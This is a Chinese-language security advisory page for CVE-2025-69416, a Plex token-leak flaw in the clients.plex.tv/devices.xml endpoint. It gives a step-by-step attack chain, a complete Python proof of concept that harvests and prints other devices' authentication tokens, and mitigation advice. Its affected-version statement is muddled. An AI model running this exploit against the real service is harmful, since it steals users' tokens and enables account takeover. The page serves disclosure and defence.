IPBUF安全漏洞报告
English
CVE-2025-69416 CVSS 5.0 中危

CVE-2025-69416: Plex Media Server非服务器设备令牌可获取其他用户令牌

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2025-69416
漏洞类型
认证绕过/令牌泄露
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Plex Media Server (PMS)

相关标签

CVE-2025-69416Plex Media Server令牌泄露认证绕过权限提升API安全XML注入MEDIUMCVSS 5.0网络攻击向量

漏洞概述

CVE-2025-69416是Plex Media Server (PMS)中的一个认证令牌安全漏洞。该漏洞位于plex.tv后端服务中,存在于2025年12月31日之前的所有版本。漏洞的核心问题是非服务器设备令牌能够通过clients.plex.tv/devices.xml接口获取其他用户的认证令牌。这些令牌原本设计用于不相关的访问授权,但由于API访问控制不当,攻击者可以使用自己的设备令牌查询该接口,从而获取其他设备或用户的令牌。这可能导致未经授权的访问其他用户账户或设备,泄露用户的敏感信息和媒体内容。攻击者需要具有低权限认证即可利用此漏洞,无需用户交互即可完成攻击。CVSS评分5.0表明该漏洞对机密性有较低影响,但不影响完整性和可用性。

技术细节

该漏洞属于认证绕过类型的令牌泄露问题。在Plex Media Server的认证架构中,存在多种类型的令牌:服务器设备令牌和客户端设备令牌。正常情况下,这些令牌应该有严格的访问控制隔离。然而,由于clients.plex.tv/devices.xml接口的访问控制存在缺陷,非服务器类型的设备令牌也能够访问该接口并获取其他设备的令牌信息。攻击者首先需要拥有一个有效的非服务器设备令牌(可通过低权限认证获得),然后向clients.plex.tv/devices.xml发送HTTP请求。服务器返回的XML响应中包含了其他设备的认证令牌,攻击者可以利用这些令牌冒充其他用户或设备进行未授权访问。该漏洞的技术根源在于API未正确验证请求者的设备类型和权限级别,导致垂直权限绕过。攻击成功的关键在于利用令牌的不当隔离机制。

攻击链分析

STEP 1
步骤1: 获取初始访问权限
攻击者首先需要获得一个有效的非服务器设备令牌。这可以通过注册一个伪造的Plex客户端应用或设备来完成,攻击者只需进行低权限认证即可获取设备令牌。
STEP 2
步骤2: 构造恶意请求
攻击者使用获取到的设备令牌,构造指向clients.plex.tv/devices.xml的HTTP GET请求。在请求头中包含X-Plex-Token字段,值为攻击者自己的设备令牌。
STEP 3
步骤3: 利用API访问控制缺陷
由于API未正确验证设备类型权限,非服务器设备令牌能够成功访问/devices.xml接口。该接口本应仅允许服务器设备访问以获取设备列表信息。
STEP 4
步骤4: 提取泄露的令牌
服务器返回包含所有设备令牌的XML响应。攻击者解析XML内容,提取其中包含的其他用户或设备的认证令牌信息。
STEP 5
步骤5: 令牌滥用
攻击者使用窃取的令牌冒充其他用户或设备进行未授权访问,可能导致敏感信息泄露、媒体内容访问或账户接管等安全问题。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-69416 PoC - Plex Media Server Token Leakage # Author: Security Researcher # Date: 2026-01-02 import requests import xml.etree.ElementTree as ET import argparse def exploit_cve_2025_69416(base_url, device_token): """ Exploit for CVE-2025-69416: Plex Media Server token leakage Non-server device token can retrieve other tokens via clients.plex.tv/devices.xml """ headers = { 'X-Plex-Device-Name': 'ExploitDevice', 'X-Plex-Device-Vendor': 'SecurityTest', 'X-Plex-Token': device_token, 'X-Plex-Client-Identifier': 'exploit-test-12345', 'Accept': 'application/xml' } # Target endpoint that leaks tokens target_url = f'{base_url}/devices.xml' try: print(f'[*] Sending request to: {target_url}') print(f'[*] Using device token: {device_token[:20]}...') response = requests.get(target_url, headers=headers, timeout=30) if response.status_code == 200: print('[+] Request successful - parsing response...') # Parse XML response to extract tokens root = ET.fromstring(response.content) leaked_tokens = [] for device in root.findall('.//Device'): token = device.get('token') name = device.get('name', 'Unknown') client_id = device.get('clientIdentifier', 'Unknown') if token: leaked_tokens.append({ 'name': name, 'client_id': client_id, 'token': token }) print(f'[+] Leaked token for device: {name}') print(f' Token: {token}') if leaked_tokens: print(f'\n[!] Successfully leaked {len(leaked_tokens)} tokens') return leaked_tokens else: print('[-] No tokens found in response') return None else: print(f'[-] Request failed with status: {response.status_code}') return None except requests.exceptions.RequestException as e: print(f'[-] Request error: {str(e)}') return None def main(): parser = argparse.ArgumentParser(description='CVE-2025-69416 PoC') parser.add_argument('--url', default='https://clients.plex.tv', help='Base URL') parser.add_argument('--token', required=True, help='Valid device token') args = parser.parse_args() print('=' * 60) print('CVE-2025-69416 - Plex Media Server Token Leakage') print('=' * 60) exploit_cve_2025_69416(args.url, args.token) if __name__ == '__main__': main()

影响范围

Plex Media Server (PMS) < 2025-12-31之后版本
所有在2025年12月31日之前发布的Plex Media Server版本

防御指南

临时缓解措施
由于该漏洞的技术细节显示为2025-12-31之前的版本受影响,用户应立即检查当前Plex Media Server版本,如为2025年12月31日之前的版本,应尽快升级到官方发布的安全补丁版本。在等待补丁期间,可通过配置防火墙规则限制对clients.plex.tv的访问,监控异常认证行为,以及审查账户访问日志来降低风险。建议使用强认证机制替代简单的令牌认证,并定期更换设备令牌以减少令牌泄露的潜在影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表